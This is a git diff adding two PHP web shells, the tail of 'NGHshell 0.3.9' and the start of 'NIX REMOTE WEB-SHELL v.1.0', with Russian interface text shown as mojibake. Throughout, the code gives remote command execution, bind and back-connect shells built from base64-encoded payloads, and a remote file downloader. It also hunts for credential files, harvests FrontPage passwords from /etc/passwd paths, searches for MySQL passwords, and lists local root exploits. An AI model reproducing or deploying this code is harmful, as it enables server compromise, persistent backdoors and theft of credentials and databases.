+elseif ($act == "rm") {
+ $name = @$_GET['name'];
+ rm($name);
+ $inf = pathinfo($name);
+ $path = $inf['dirname'];
+}
+elseif ($act == "viev") {
+ $name = @$_GET['name'];
+ if (file_exists($name)) {
+ echo "\n".
+ "ôàéë ".$name." \n";
+ $out = implode("", file($name));
+ echo "";
+ print_r ($out);
+ echo " \n".
+ " \n".
+ " \n".
+ " \n".
+ "[ back ]";
+ } else die("Ôàéë íå íàéäåí \n");
+ exit;
+}
+elseif ($act == "updatefile") {
+ $filename = @$_POST['file'];
+ $text = @$_POST['text'];
+ if (is_writable($filename)) {
+ $handle = fopen($filename, "w+");
+ if (fwrite($handle, stripslashes($text)) === FALSE) {
+ die("Îøèáêà çàïèñè â ôàéë \n");
+ }
+ } else die("Ôàéë íåäîñòóïåí äëÿ çàïèñè \n");
+ fclose($handle);
+ $inf = pathinfo($filename);
+ $path = $inf['dirname'];
+}
+elseif ($act == "touch") {
+ $userfile = @$_POST['file'];
+ $userdir = @$_POST['dir'];
+ if (!$userfile) {
+ die("Âåäèòå èìÿ \n");
+ }
+ $handle = fopen($userdir.$userfile, "w+");
+ if (fwrite($handle, "") === FALSE) {
+ die("Îøèáêà ñîçäàíèÿ ôàéëà \n");
+ }
+ fclose($handle);
+ $path = $userdir;
+}
+elseif ($act == "renameform") {
+ $name = @$_GET['name'];
+ echo ""
+ ."Ïåðåèìåíîâàòü, êîïèðîâàòü èëè ïåðåìåñòèòü ".$name." "
+ ." "
+ ." "
+ ." ïåðåìåñòèòü "
+ ." ñêîïèðîâàòü "
+ ." "
+ ."[ back ]";
+ exit;
+}
+elseif ($act == "rename") {
+ $from = @$_POST['from'];
+ $to = @$_POST['to'];
+ $todo = @$_POST['todo'];
+ mvcp($from, $to, $todo);
+ $inf = pathinfo($from);
+ $path = $inf['dirname'];
+}
+elseif ($act == "bindshell") {
+ $port = @$_POST['port'];
+ if (!$port) {
+ die("Óêàæèòå ïîðò ");
+ }
+ $file = "/tmp/bd";
+ $handle = fopen($file, "w+");
+ if (fputs($handle, base64_decode($bind)) === FALSE) {
+ die("Îøèáêà ñîçäàíèÿ ôàéëà ".$file." \n");
+ } else {
+ fclose($handle);
+ passthru("perl ".$file." ".$port." > /dev/null &");
+ }
+}
+elseif ($act == "backconnect") {
+ $port = @$_POST['port'];
+ $addr = @$_POST['addr'];
+ if (!$port || !$addr) {
+ die("Óêàæèòå ïîðò è àäðåññ ");
+ }
+ $file = "/tmp/bcon";
+ $handle = fopen($file, "w+");
+ if (fputs($handle, base64_decode($backcon)) === FALSE) {
+ die("Îøèáêà ñîçäàíèÿ ôàéëà ".$file." \n");
+ } else {
+ fclose($handle);
+ passthru("perl ".$file." ".$addr." ".$port." > /dev/null &");
+ }
+}
+elseif ($act == "phpinfo") {
+ phpinfo();
+ exit;
+}
+if (!$path) {
+ $dir = getcwd()."/";
+} else {
+ $dir = stripslashes($path);
+ if ($dir[strlen($dir)-1] != "/") $dir .= "/";
+}
+$dir = str_replace("\\", "/", $dir);
+$dir = str_replace("//", "/", $dir);
+$arr = explode("/", $dir);
+for ($i=0; $i
+
+
+ ?act=showlogo>
+ Host: =$_SERVER["HTTP_HOST"]?>
+
+
+ IP address: =$_SERVER["SERVER_ADDR"]?>
+
+
+ Software: =$_SERVER["SERVER_SOFTWARE"]?>
+
+
+ method=GET>
+ Êîìàíäà:
+
+
+
+if ($cmd) {
+ exec($cmd, $out);
+ echo convert_cyr_string(implode("\r\n", $out), "a", "w");
+}
+?>
+
+?act=bindshell method=POST>
+Bind /bin/bash at port:
+
+
+?act=backconnect method=POST>
+Connectback: Àäðåññ
+Ïîðò
+
+
+
+if($handle = @opendir($dir)) {
+?>
+ ?act=mass method=POST>
+
+ Ñ îòìå÷åíûìè: Óäàëèòü
+ [ Ïåðåìåñòèòü
+ Êîïèðîâàòü
+ â ]
+
+
+ ?act=mkdir method=POST>
+ Ñîçäàòü ïàïêó
+
+
+
+ ?act=touch METHOD=POST>
+ Ñîçäàòü ïóñòîé ôàéë
+
+
+
+ ?act=upload METHOD=POST>
+ Çàêà÷àòü ôàéë
+
+
+
+ ?act=phpinfo>Phpinfo()
+
+} else die("Äèðåêòîðèÿ íå íàéäåíà \n");
+function rm($name) {
+ if (is_file($name)) {
+ if (!@unlink($name)) die("Íåìîãó óäàëèòü ôàéë ".$name." \n");
+ }
+ elseif (is_dir($name)) deldir($name);
+}
+function mvcp($from, $to, $todo) {
+ if ($todo == "mv") {
+ if (is_file($from)) {
+ if (!rename($from, $to)) {
+ die("Îøèáêà ïðè ïåðåìåùåíèè ôàéëà ".$from." ");
+ }
+ }
+ elseif (is_dir($from)) {
+ mvdir($from, $to, $todo);
+ }
+ } else {
+ if (is_file($from)) {
+ if (!copy($from, $to)) {
+ die("Îøèáêà ïðè êîïèðîâàíèè ôàéëà ".$from." ");
+ }
+ }
+ elseif (is_dir($from)) {
+ mvdir($from, $to, "cp");
+ }
+ }
+}
+function deldir($name) {
+ if (@$handle=opendir($name)) {
+ while ($file = readdir($handle)) {
+ if ($file != ".." && $file != ".") {
+ if (is_file($name."/".$file)) {
+ unlink($name."/".$file);
+ }
+ elseif (is_dir($name."/".$file)) {
+ deldir($name."/".$file);
+ }
+ }
+ }
+ closedir($handle);
+ } else die("Íåìîãó óäàëèòü ïàïêó ".$name." \n");
+ rmdir($name);
+}
+function mvdir($from, $to, $todo) {
+ if (@$handle = opendir($from)) {
+ mkdir($to);
+ while ($file = readdir($handle)) {
+ if ($file != ".." && $file != ".") {
+ if (is_file($from."/".$file)) {
+ if (!copy($from."/".$file, $to."/".$file)) {
+ die("Îøèáêà ïðè êîïèðîâàíèè ôàéëà ".$from."/".$file." ");
+ }
+ }
+ elseif (is_dir($from."/".$file)) {
+ mvdir($from."/".$file, $to."/".$file, $todo);
+ }
+ }
+ }
+ closedir($handle);
+ if ($todo == "mv") deldir($from);
+ } else die("Íåìîãó êîïèðîâàòü ïàïêó ".$name." \n");
+}
+function parseperms($perms)
+{
+ if (!$perms) return "null";
+ if (($perms & 0xC000) == 0xC000) {
+ $info = 'socket ';
+ } elseif (($perms & 0xA000) == 0xA000) {
+ $info = 'link ';
+ } elseif (($perms & 0x8000) == 0x8000) {
+ $info = '-';
+ } elseif (($perms & 0x6000) == 0x6000) {
+ $info = 'b';
+ } elseif (($perms & 0x4000) == 0x4000) {
+ $info = 'dir ' ;
+ } elseif (($perms & 0x2000) == 0x2000) {
+ $info = 'c';
+ } elseif (($perms & 0x1000) == 0x1000) {
+ $info = 'p';
+ } else {
+ $info = 'u';
+ }
+ $info .= (($perms & 0x0100) ? 'r' : '-');
+ $info .= (($perms & 0x0080) ? 'w' : '-');
+ $info .= (($perms & 0x0040) ?
+ (($perms & 0x0800) ? 's' : 'x' ) :
+ (($perms & 0x0800) ? 'S' : '-'));
+ $info .= (($perms & 0x0020) ? 'r' : '-');
+ $info .= (($perms & 0x0010) ? 'w' : '-');
+ $info .= (($perms & 0x0008) ?
+ (($perms & 0x0400) ? 's' : 'x' ) :
+ (($perms & 0x0400) ? 'S' : '-'));
+ $info .= (($perms & 0x0004) ? 'r' : '-');
+ $info .= (($perms & 0x0002) ? 'w' : '-');
+ $info .= (($perms & 0x0001) ?
+ (($perms & 0x0200) ? 't' : 'x' ) :
+ (($perms & 0x0200) ? 'T' : '-'));
+ return $info;
+}
+echo "NGHshell 0.3.9 by Cr4sh\n";
+
+/* EOF **********************************/
+?>
diff --git a/xakep-shells/PHP/nixrem.php.php.txt b/xakep-shells/PHP/nixrem.php.php.txt
new file mode 100644
index 0000000..9688a5a
--- /dev/null
+++ b/xakep-shells/PHP/nixrem.php.php.txt
@@ -0,0 +1,1772 @@
+
+
+
+
+NIX REMOTE WEB-SHELL v.1.0
+
+
+
+
+
+
+
+
+
+ [ Âïåðåä ] *.NIX REMOTE WEB-SHELL
+v.1.0 Stable [ Íàçàä ] [ Î ñêðèïòå ]
+[ Èíôîðìàöèÿ î ñèñòåìå ][ Íàâèãàöèÿ ][ Óñòàíîâêà
+áåêäîðà ][ PHP-êîä ][ Çàãðóçêà ôàéëîâ ][ Èñïîëíåíèå
+êîìàíä ] [ MySQL ][ Îòïðàâêà ïèñüìà ][ Ìàèëôëóäåð
+ ][ Èíñòðóìåíòû ] [ Äåìîíû ][ Àëüòåðíàòèâíûå ìåòîäû ][ /root ][ Óäàëèòü øåëë ]
+ 'ls -la;pwd;uname -a',
+'ïîèñê íà ñåðâåðå âñåõ ôàéëîâ ñî suid-áèòîì' => 'find / -type f -perm -04000 -ls',
+'ïîèñê íà ñåðâåðå âñåõ ôàéëîâ ñî sgid-áèòîì' => 'find / -type f -perm -02000 -ls',
+'ïîèñê â òåêóùåé äèðåêòîðèè âñåõ ôàéëîâ ñî sgid-áèòîì' => 'find . -type f -perm -02000 -ls',
+'ïîèñê íà ñåðâåðå ôàéëîâ config' => 'find / -type f -name "config*"',
+'ïîèñê íà ñåðâåðå ôàéëîâ admin' => 'find / -type f -name "admin*"',
+'ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ config' => 'find . -type f -name "config*"',
+'ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ pass' => 'find . -type f -name "pass*"',
+'ïîèñê íà ñåðâåðå âñåõ äèðåêòîðèé è ôàéëîâ, îòêðûòûõ äëÿ çàïèñè' => 'find / -perm -2 -ls',
+'ïîèñê â òåêóùåé äèðåêòîðèè âñåõ äèðåêòîðèé è ôàéëîâ, îòêðûòûõ äëÿ çàïèñè' => 'find . -perm -2 -ls',
+'ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ service.pwd' => 'find . -type f -name service.pwd',
+'ïîèñê íà ñåðâåðå ôàéëîâ service.pwd' => 'find / -type f -name service.pwd',
+'ïîèñê íà ñåðâåðå ôàéëîâ .htpasswd' => 'find / -type f -name .htpasswd',
+'ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ .htpasswd' => 'find . -type f -name .htpasswd',
+'ïîèñê âñåõ ôàéëîâ .bash_history' => 'find / -type f -name .bash_history',
+'ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ .bash_history' => 'find . -type f -name .bash_history',
+'ïîèñê âñåõ ôàéëîâ .fetchmailrc' => 'find / -type f -name .fetchmailrc',
+'ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ .fetchmailrc' => 'find . -type f -name .fetchmailrc',
+'âûâîä ñïèñêà àòðèáóòîâ ôàéëîâ íà ôàéëîâîé ñèñòåìå ext2fs' => 'lsattr -va',
+'ïðîñìîòð îòêðûòûõ ïîðòîâ' => 'netstat -an | grep -i listen',
+'ïîèñê âñåõ php-ôàéëîâ ñî ñëîâîì password' =>'find / -name *.php | xargs grep -li password',
+'ïîèñê ïàïîê ñ ìîäîì 777' =>'find / -type d -perm 0777',
+'Îïðåäåëåíèå âåðñèè ÎÑ' =>'sysctl -a | grep version',
+'Îïðåäåëåíèå âåðñèè ÿäðà' =>'cat /proc/version',
+'Ïðîñìîòð syslog.conf' =>'cat /etc/syslog.conf',
+'Ïðîñìîòð Message of the day' =>'cat /etc/motd',
+'Ïðîñìîòð hosts' =>'cat /etc/hosts',
+'Âåðñèÿ äèñòðèáóòèâà 1' =>'cat /etc/issue.net',
+'Âåðñèÿ äèñòðèáóòèâà 2' =>'cat /etc/*-realise',
+'Ïîêàçàòü âñå ïðîöåñû' =>'ps auxw',
+'Ïðîöåññû òåêóùåãî ïîëüçîâàòåëÿ' =>'ps ux',
+'Ïîèñê httpd.conf' =>'locate httpd.conf');
+
+
+
+/* Port bind source */
+$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5
+jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5
+ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW5
+0IGFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnV
+mWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVtb3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0
+KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyh
+hdG9pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0F
+OWSk7IA0KIHNvY2tmZ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V0gY29ubmVjdCg
+pIik7DQogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1
+zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWN
+sKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
+
+if(isset($uploadphp))
+{
+$socket=fsockopen($iphost,$loadport); //connect
+fputs($socket,"GET $loadfile HTTP/1.0\nHOST:cd\n\n"); //request
+while(fgets($socket,31337)!="\r\n" && !feof($socket)) {
+unset($buffer); }
+while(!feof($socket)) $buffer.=fread($socket, 1024);
+$file_size=strlen($buffer);
+$f=fopen($loadnewname,"wb+");
+fwrite($f, $buffer, $file_size);
+echo "Ðàçìåð çàãðóæåííîãî ôàéëà: $file_size " ;
+}
+
+if (!empty($_GET['ac'])) {$ac = $_GET['ac'];}
+elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];}
+else {$ac = "navigation";}
+
+
+
+switch($ac) {
+
+// Shell
+case "shell":
+echo "";
+
+/* command execute */
+if ((!$_POST['cmd']) || ($_POST['cmd']=="")) { $_POST['cmd']="id;pwd;uname -a;ls -lad"; }
+
+if (($_POST['alias']) AND ($_POST['alias']!==""))
+ {
+ foreach ($aliases as $alias_name=>$alias_cmd) {
+ if ($_POST['alias'] == $alias_name) {$_POST['cmd']=$alias_cmd;}
+ }
+ }
+
+
+echo "Âûïîëíåííàÿ êîìàíäà: ".$_POST['cmd']." ";
+echo "";
+echo " ";
+echo "".passthru($_POST['cmd'])."";
+echo "
";
+echo "";
+?>
+
+
+:: Âûïîëíåíèå êîìàíä íà ñåðâåðå ::
+
+
+
+ | cd |
+ | cat |
+ echo |
+ wget |
+ rm |
+ mysqldump |
+ who |
+ ps -ax |
+ cp |
+ pwd |
+ perl |
+ gcc |
+ locate |
+ find |
+ ls -lad |
+
+
+
+
+/* command execute form */
+echo "";
+
+echo "Âûïîëíèòü êîìàíäó ";
+echo " ";
+echo "Ðàáî÷àÿ äèðåêòîðèÿ ";
+if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo " "; }
+else { echo " "; }
+echo " ";
+
+echo " ";
+
+/* aliases form */
+echo "";
+echo "";
+echo " Âûáåðèòå àëèàñ ";
+echo "";
+foreach ($aliases as $alias_name=>$alias_cmd)
+ {
+ echo "$alias_name ";
+ }
+ echo " ";
+if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo " "; }
+else { echo " "; }
+echo " ";
+echo " ";
+echo " ";
+
+
+break;
+case "art":
+echo "FrontPage Exploit by Nitrex
+Ýêñïëîéò äëÿ FrontPage. Ñîáèðàåò ÷èòàåìûå .htpassword ôàéëû ïî âñåìó ñåðâåðó. Ïîçâîëÿåò ñîçäàòü íåõèëóþ áàçó âñåõ ñàéòîâ â âèäå ëîãèí:ïàðîëü îò õîñòåðà, òî åñòü ïàðîëè ê FrontPage ïîäõîäÿò ê FTP è äðóãèì ñåðâèñàì ñåðâåðà. Ðàññøèôðîâêà ïðîèçâîäèòñÿ ñ ïîìîùüþ John The Ripper (Standart/DES).
+MySQL Find Config Exploit by DreAmeRz
+Ýêñïëîèò, ïîçâîëÿþùèé îáëåã÷èòü ïîèñê ïàðîëåé ê áàçå äàííûõ. Ïðîèçâîäèòñÿ ïîèñê ôàéëîâ ñ óïîìèíàíèåì ðÿäà ñòðîê, óêàçûâàþùèõ íà êîííåêò ê MySQL. Òàêæå âîçìîæíî ñîâïàäåíèå ïàðîëåé ñ äðóãèìè ñåðâèñàìè ñåðâåðà. Ïàðîëè â áîëüøåíñòâå ñëó÷àåâ èëè âîâñå íå çàøèôðîâàíû, èëè çàøèôðîâàíû îáðàòèìûì àëãîðèòìîì. Ïðîàíàëèçèðîâàâ ôàéëû, óêàçàííûå ýêñïëîèòîì, âû áûñòðî íàéäåòå ïàðîëü ê MySQL.
+FTP Brut by xoce
+Ïîëíîöåííûé áðóòôîðñåð, ðàáîòàþùèé ïî ìåòîäó ïîäñòàíîâêè ïàðîëåé, êîòîðûå áåðåò èç ôàéëà. Ôàéë ãåíåðèðóåòñÿ ñàì, âû òîëüêî óêàçûâàåòå ÷èñëî ïàðîëåé è... âñå - ïåðåáîð íà÷èíàåòñÿ!!! Ñ ïîìîùüþ äàííîãî áðóòôîðñåðà âû ñìîæåòå ïîäîáðàòü ïàðîëü ê ëþáîìó õîñòèíãó áåç ïðîáëåì! ×òîáû áûëî ÷òî ïåðåáèðàòü, áûëà äîáàâëåíà áàçà ïàðîëåé, êîòîðàÿ ãåíåðèðóåòñÿ íà ëåòó (íå ïèøèòå áîëüøèå öèôðû â êîëè÷åñòâå ïàðîëåé, òàê êàê ýòî ñåðüåçíàÿ íàãðóçêà íà ñåðâåð! 10000 âïîëíå õâàòèò).
+FTP login:login Brut by Terabyte
+Ýêñïëîèò ïîçâîëÿåò ïåðåáðàòü àêêàóíò íà FTP íà ñâÿçêó login:login. ×åì áîëüøå þçåðîâ â /etc/passwd, òåì áîëüøå âåðîÿòíîñòü óäà÷íîé ðàáîòû ýêñïëîèòà.
+Íåêîòîðûå äðóãèå ìèíè-ýêñïëîèòû ïðèâåäåíû çäåñü â àëüÿñàõ. ";
+break;
+case "frontpage":
+$p=getenv("DOCUMENT_ROOT");
+if(exec("cat /etc/passwd")){
+$ex=explode("/", $p);
+$do_login=substr($p,0,strpos($p,$ex[2]));
+$next_login=substr($p,strpos($p,$ex[2])+strlen($ex[2]));
+exec("cat /etc/passwd", $passwd);
+for($i=0; $i<=count($passwd); $i++) {
+$xz=explode(":", $passwd[$i]);
+$file="/".$do_login.$xz[0].$next_login."/_vti_pvt/service.pwd";
+if(exec("cat ".$file)){
+exec("cat ".$file,$open);
+$a=$open[count($open)-1];
+$fr=strpos($a, ":");
+$open1=substr($a, $fr);
+if($xz[4]=='') {
+$file1="/".$do_login.$xz[0].$next_login."/_vti_pvt/.htaccess";
+Unset($domain);
+exec("cat ".$file1,$domain);
+$domain1=explode(" ",$domain[8]);
+$xz[4]=$domain1[1];
+}
+echo $xz[0].$open1.":".$xz[2].":".$xz[3].":".$xz[4].":".$xz[5].":".$xz[6]." ";
+} }
+}
+elseif(is_file("/etc/passwd")){
+$ex=explode("/", $p);
+$passwd="/etc/passwd";
+echo "Ïóòü: ".$p." ";
+$do_login=substr($p,0,strpos($p,$ex[2]));
+$next_login=substr($p,strpos($p,$ex[2])+strlen($ex[2]));
+if(is_file($passwd)) {
+$open=fopen($passwd,"r");
+while (!feof($open)) {
+$str=fgets($open, 100);
+$mas=explode(":", $str);
+$file="/".$do_login.$mas[0]."/".$next_login."/_vti_pvt/service.pwd";
+if(is_file($file)) {
+echo $mas[0];
+$open1=fopen($file, "r");
+$str1=fread($open1,filesize($file));
+fclose($open1);
+$fr=strpos($str1, ":");
+$str2=substr($str1, $fr);
+$str2=rtrim($str2);
+//
+if($mas[4]=='') {
+$file1="/".$do_login.$mas[0]."/".$next_login."/_vti_pvt/.htaccess";
+$open2=fopen($file1,"r");
+$domain=fread($open2,filesize($file1));
+fclose($open2);
+$domain1=substr($domain,106,110);
+$domain2=explode("AuthUserFile",$domain1);
+$mas[4]=$domain2[0];
+}
+//
+echo $str2.":".$mas[2].":".$mas[3].":".$mas[4].":".$mas[5].":".$mas[6]." ";
+}
+}
+fclose($open);
+}
+}
+else{
+echo "Ñ ïàññîì îáëîì :(((";
+}
+break;
+case "dbexploit":
+echo "";
+echo "Â ôàéëå ïðèñóòñòâóåò ôóíêöèÿ mysql_connect: ";
+exec("find / -name *.php | xargs grep -li mysql_connect");
+exec("find / -name *.inc | xargs grep -li mysql_connect");
+exec("find / -name *.inc.php | xargs grep -li mysql_connect");
+echo "Â ôàéëå ïðèñóòñòâóåò ôóíêöèÿ mysql_select_db: ";
+exec("find / -name *.php | xargs grep -li mysql_select_db");
+exec("find / -name *.inc | xargs grep -li mysql_select_db");
+exec("find / -name *.inc.php | xargs grep -li mysql_select_db");
+echo "Â ôàéëå ïðèñóòñòâóåò óïîìèíàíèå ïàðîëÿ: ";
+exec("find / -name *.php | xargs grep -li $password");
+exec("find / -name *.inc | xargs grep -li $password");
+exec("find / -name *.inc.php | xargs grep -li $password");
+exec("find / -name *.php | xargs grep -li $pass");
+exec("find / -name *.inc | xargs grep -li $pass");
+exec("find / -name *.inc.php | xargs grep -li $pass");
+echo "Â ôàéëå ïðèñóòñòâóåò ñëîâî localhost: ";
+exec("find / -name *.php | xargs grep -li localhost");
+exec("find / -name *.inc | xargs grep -li localhost");
+exec("find / -name *.inc.php | xargs grep -li localhost");
+echo " ";
+break;
+// ñïèñîê ïðîöåññîâ
+case "ps":
+echo "Ïðîöåññû â ñèñòåìå: ";
+
+ echo " ";
+ if ($pid)
+ {
+ if (!$sig) {$sig = 9;}
+ echo "Îòïðàâëåíèå êîìàíäû ".$sig." to #".$pid."... ";
+ $ret = posix_kill($pid,$sig);
+ if ($ret) {echo "Âñå, ïðîöåññ óáèò, àìèíü";}
+ else {echo "ÎØÈÁÊÀ! ".htmlspecialchars($sig).", â ïðîöåññå #".htmlspecialchars($pid).".";}
+ }
+ $ret = `ps -aux`;
+ if (!$ret) {echo "Íåâîçìîæíî îòîáðàçèòü ñïèñîê ïðîöåññîâ! Âèäíî, çëîé àäìèí çàïðåòèë ps";}
+ else
+ {
+ $ret = htmlspecialchars($ret);
+ while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
+ $stack = explode("\n",$ret);
+ $head = explode(" ",$stack[0]);
+ unset($stack[0]);
+ if (empty($ps_aux_sort)) {$ps_aux_sort = $sort_default;}
+ if (!is_numeric($ps_aux_sort[0])) {$ps_aux_sort[0] = 0;}
+ $k = $ps_aux_sort[0];
+ if ($ps_aux_sort[1] != "a") {$y = " ";}
+ else {$y = " ";}
+ for($i=0;$i".$head[$i]." ";}
+ }
+ $prcs = array();
+ foreach ($stack as $line)
+ {
+ if (!empty($line))
+ {
+ echo "";
+ $line = explode(" ",$line);
+ $line[10] = join(" ",array_slice($line,10,count($line)));
+ $line = array_slice($line,0,11);
+ $line[] = "KILL ";
+ $prcs[] = $line;
+ echo " ";
+ }
+ }
+ $head[$k] = "".$head[$k]." ".$y;
+ $head[] = "ACTION ";
+ $v = $ps_aux_sort[0];
+ usort($prcs,"tabsort");
+ if ($ps_aux_sort[1] == "d") {$prcs = array_reverse($prcs);}
+ $tab = array();
+ $tab[] = $head;
+ $tab = array_merge($tab,$prcs);
+ echo "";
+ foreach($tab as $k)
+ {
+ echo "";
+ foreach($k as $v) {echo "".$v." ";}
+ echo " ";
+ }
+ echo "
";
+ }
+break;
+// exploits for root...
+case "exploits":
+// thanks to xoce
+$public_site = "http://hackru.info/adm/exploits/public_exploits";
+$private_site = "http://hackru.info/adm/exploits/private_exploits";
+echo"Ýòîò ðàçäåë ñîçäàí ïî ðÿäó ïðè÷èí. Âî-ïåðâûõ, óæå íàäîåëî èñêàòü îäíè è òåæå ýêñïëîèòû, âî-âòîðûõ - êîìïèëèðîâàíèå è èñïðàâëåíèå ñîðöîâ ïîä êîíêðåòíóþ ïëàòôîðìó óæå òîæå íå ïðèíîñèò óäîâîëüñòâèÿ. Âñå ýêñïëîèòû ñêîìïèëèðîâàíû è íàñòðîåíû. Ñàìîìó êîìïèëèðîâàòü áûëî âëîì, ïîýòîìó âîñïîëüçîâàëñÿ ãîòîâûìè :) Âûðàæàþ áëàãîäàðíîñòü xoce (hackru.info)
+Local ROOT for linux 2.6.20 - mremap (./m)
+Local ROOT for linux 2.6.20 - ptrace (./p)
+BRK - Local Root Unix 2.4.*(./brk)
+Traceroute v1.4a5 exploit by sorbo (./sortrace)
+Local Root Unix 2.4.* (./root)
+Sendmail 8.11.x exploit localroot (./sxp)
+Local Root Unix 2.4.* (./ptrace_kmod)
+Local Root Unix 2.4.* (./mr1_a) ";
+echo "Èñïîëüçîâàíèå: çàõîäèòå â /tmp èç bash øåëëà è çàïóñêàéòå ôàéëû çàïóñêà.
+Ïðèìåð: cd /tmp; ./m - âñå, ýêñïëîèò çàïóñòèòñÿ, è åñëè âñå ok, òî âû ïîëó÷èòå ïðàâà root'a!
+Åñëè çäåñü íå îêàçàëîñü ïîäõîäÿùåãî ýêñïëîèòà, òî ïîñåòèòå www.web-hack.ru/exploits/ è security.nnov.ru .";
+
+break;
+case "damp":
+
+ if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
+ if((!empty($_POST['dif'])&&$fp)||(empty($_POST['dif']))){
+ $db = @mysql_connect('localhost',$_POST['mysql_l'],$_POST['mysql_p']);
+ if($db)
+ {
+
+ if(@mysql_select_db($_POST['mysql_db'],$db))
+ {
+ // èíôà î äàìïå
+ $sql1 = "# MySQL dump created by NRWS\r\n";
+ $sql1 .= "# homepage: http://www.Ru24-Team.NET\r\n";
+ $sql1 .= "# ---------------------------------\r\n";
+ $sql1 .= "# date : ".date ("j F Y g:i")."\r\n";
+ $sql1 .= "# database : ".$_POST['mysql_db']."\r\n";
+ $sql1 .= "# table : ".$_POST['mysql_tbl']."\r\n";
+ $sql1 .= "# ---------------------------------\r\n\r\n";
+
+ // ïîëó÷àåì òåêñò çàïðîñà ñîçäàíèÿ ñòðóêòóðû òàáëèöû
+ $res = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db);
+ $row = @mysql_fetch_row($res);
+ $sql1 .= $row[1]."\r\n\r\n";
+ $sql1 .= "# ---------------------------------\r\n\r\n";
+
+ $sql2 = '';
+
+ // ïîëó÷àåì äàííûå òàáëèöû
+ $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db);
+ if (@mysql_num_rows($res) > 0) {
+ while ($row = @mysql_fetch_assoc($res)) {
+ $keys = @implode("`, `", @array_keys($row));
+ $values = @array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = @implode("', '", $values);
+ $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".$values."');\r\n";
+ }
+ $sql2 .= "\r\n# ---------------------------------";
+ }
+ echo "Ãîòîâî! Äàìï ïðîøåë óäà÷íî! ";
+ // ïèøåì â ôàéë èëè âûâîäèì â áðàóçåð
+ if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
+ else { echo $sql1.$sql2; }
+ } // end if(@mysql_select_db($_POST['mysql_db'],$db))
+
+ else echo "Òàêîé ÁÄ íåò!";
+ @mysql_close($db);
+ } // end if($db)
+ else echo "Íåò êîííåêòà c ñåðâåðîì!";
+ } // end if(($_POST['dif']&&$fp)||(!$_POST['dif'])){
+ else if(!empty($_POST['dif'])&&!$fp) { echo "ÎØÈÁÊÀ, íåò ïðàâ çàïèñè â ôàéë!"; }
+
+break;
+// SQL Attack
+case "sql":
+echo "";
+echo " Áàçà: ";
+echo " Òàáëèöà: ";
+echo " Ëîãèí: ";
+echo " Ïàðîëü: ";
+echo " ";
+echo " ";
+echo " Ñîõðàíèòü äàìï â ôàéëå: ";
+echo " " ;
+echo "";
+echo " ";
+ print "";
+###
+
+@$php_self=$_GET['PHP_SELF'];
+@$from=$_GET['from'];
+@$to=$_GET['to'];
+@$adress=$_POST['adress'];
+@$port=$_POST['port'];
+@$login=$_POST['login'];
+@$pass=$_POST['pass'];
+@$adress=$_GET['adress'];
+@$port=$_GET['port'];
+@$login=$_GET['login'];
+@$pass=$_GET['pass'];
+if(!isset($adress)){$adress="localhost";}
+if(!isset($login)){$login="root";}
+if(!isset($pass)){$pass="";}
+if(!isset($port)){$port="3306";}
+if(!isset($from)){$from=0;}
+if(!isset($to)){$to=50;}
+?>
+
+
+
+ if(!@$conn){ ?>
+
+
+
+@$conn=$_GET['conn'];
+@$adress=$_GET['adress'];
+@$port=$_GET['port'];
+@$login=$_GET['login'];
+@$pass=$_GET['pass'];
+if($conn){
+
+$serv = @mysql_connect("$adress:$port", "$login", "$pass") or die("ÎØÈÁÊÀ: ".mysql_error());
+if($serv){$status="Ïîäêëþ÷åí. :: Âûéòè èç áàçû ";}else{$status="Îòêëþ÷åí.";}
+print "Ñòàòóñ: $status ";
+print "";
+print "[Òàáëèöû] ";
+$res = mysql_list_dbs($serv);
+while ($str=mysql_fetch_row($res)){
+print "$str[0] ";
+@$tc++;
+}
+$pro=" ";
+@$base=$_GET['base'];
+@$db=$_GET['db'];
+print "[Âñåãî òàáëèö: $tc] $pro";
+if($base){
+print "Òàáëèöà: [$tbl]
";
+$result=mysql_list_tables($db);
+while($str=mysql_fetch_array($result)){
+$c=mysql_query ("SELECT COUNT(*) FROM $str[0]");
+$records=mysql_fetch_array($c);
+print "[$records[0]] $str[0] ";
+mysql_free_result($c);
+}
+} #end base
+
+@$vn=$_GET['vn'];
+print " ";
+print "Áàçà äàííûõ: $db => $vn ";
+@$inside=$_GET['inside'];
+@$tbl=$_GET['tbl'];
+if($inside){
+print "";
+
+} #end inside
+print "
";
+} # end $conn
+
+
